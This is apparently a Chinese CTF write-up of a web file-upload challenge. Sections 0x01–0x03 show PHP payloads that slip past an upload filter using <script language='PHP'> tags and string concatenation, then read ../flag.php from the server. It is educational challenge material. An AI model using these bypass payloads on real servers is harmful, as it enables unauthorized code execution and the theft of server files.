ctf web 百度杯”CTF比赛 九月场Upload i春秋

0x00题目内容:

想怎么传就怎么传,就是这么任性。
tips:flag在flag.php中    

0x01试探

先随便写个脚本上传一下试试

<?php
echo 'test';

访问结果为 echo 'test';

猜测过滤了<?和php,使用script绕过和大小写绕过,重新尝试

<script language="PHP">
echo 'test';
</script>

访问结果为test

0x02读取flag.php

接下来尝试读取flag.php 这里php也需要绕过,可以用.连接字符串绕过,也可以strtolower('PHP')绕过

<script language="PHP">
echo((file_get_contents('flag.'.'p'.'h'.'p')));
</script>
访问结果为空白
原因是php脚本上传在/u/xxx.php中

试一试上级目录吧

<script language="PHP">
echo((file_get_contents('../flag.'.'p'.'h'.'p')));
</script>
访问页面是空白的,查看源代码
<?php
echo 'here_is_flag';
'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}';

这里采用其他方式读取也是可以的, PHP读取文件内容的五种方式[1]

为什么页面是空白的呢

0x03延伸探究

HTML渲染过程

  1. 用户输入url地址,浏览器根据域名寻找IP地址
  2. 浏览器向服务器发送http请求,如果服务器段返回以301之类的重定向,浏览器根据相应头中的location再次发送请求
  3. 服务器端接受请求,处理请求生成html代码,返回给浏览器,这时的html页面代码可能是经过压缩的
  4. 浏览器接收服务器响应结果,如果有压缩则首先进行解压处理,紧接着就是页面解析渲染

  解析渲染该过程主要分为以下步骤:

  1. 解析HTML
  2. 构建DOM树
  3. DOM树与CSS样式进行附着构造呈现树
  4. 布局
  5. 绘制    [2]

当浏览器请求服务器上的其他语言的脚本时,如php,则先运行脚本,然后将结果解析为HTML,再返回给浏览器呈现。

而本题中,运行了上传的php,将读取到的flag.php的代码(一个字符串)返回,即将此时的php代码转换为了HTML界面[3],就好比在.HTML文件写入php代码一样[4]。

解决方案:

1:PHP htmlspecialchars() 函数

  该函数把预定义的字符转换为 HTML 实体。即可以显示在页面中。

  <script language="PHP">
  echo(htmlspecialchars(file_get_contents('../flag.'.'p'.'h'.'p')));
  </script>

2.PHP file()函数

  file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。也就是<?php成为了单独的一行,解释器只注释掉了这一行,后面的flag可以显示出来。

  <script language="PHP">
  print_r(file('../flag.'.'p'.'h'.'p'));
  </script>

参考:
[1]PHP读取文件内容的五种方式 http://blog.csdn.net/yilovexing/article/details/52711673
[2]HTML渲染过程详解 http://www.cnblogs.com/dojo-lzz/p/3983335.html
[3]Web网站工作原理解析 http://blog.csdn.net/finish_dream/article/details/50900285#t2
[4]
为什么嵌入html中的php代码浏览器打的时侯会被注释掉 http://blog.csdn.net/fjnjxr/article/details/73188517
请批评指正!
原文地址:https://www.cnblogs.com/vastian/p/8596480.html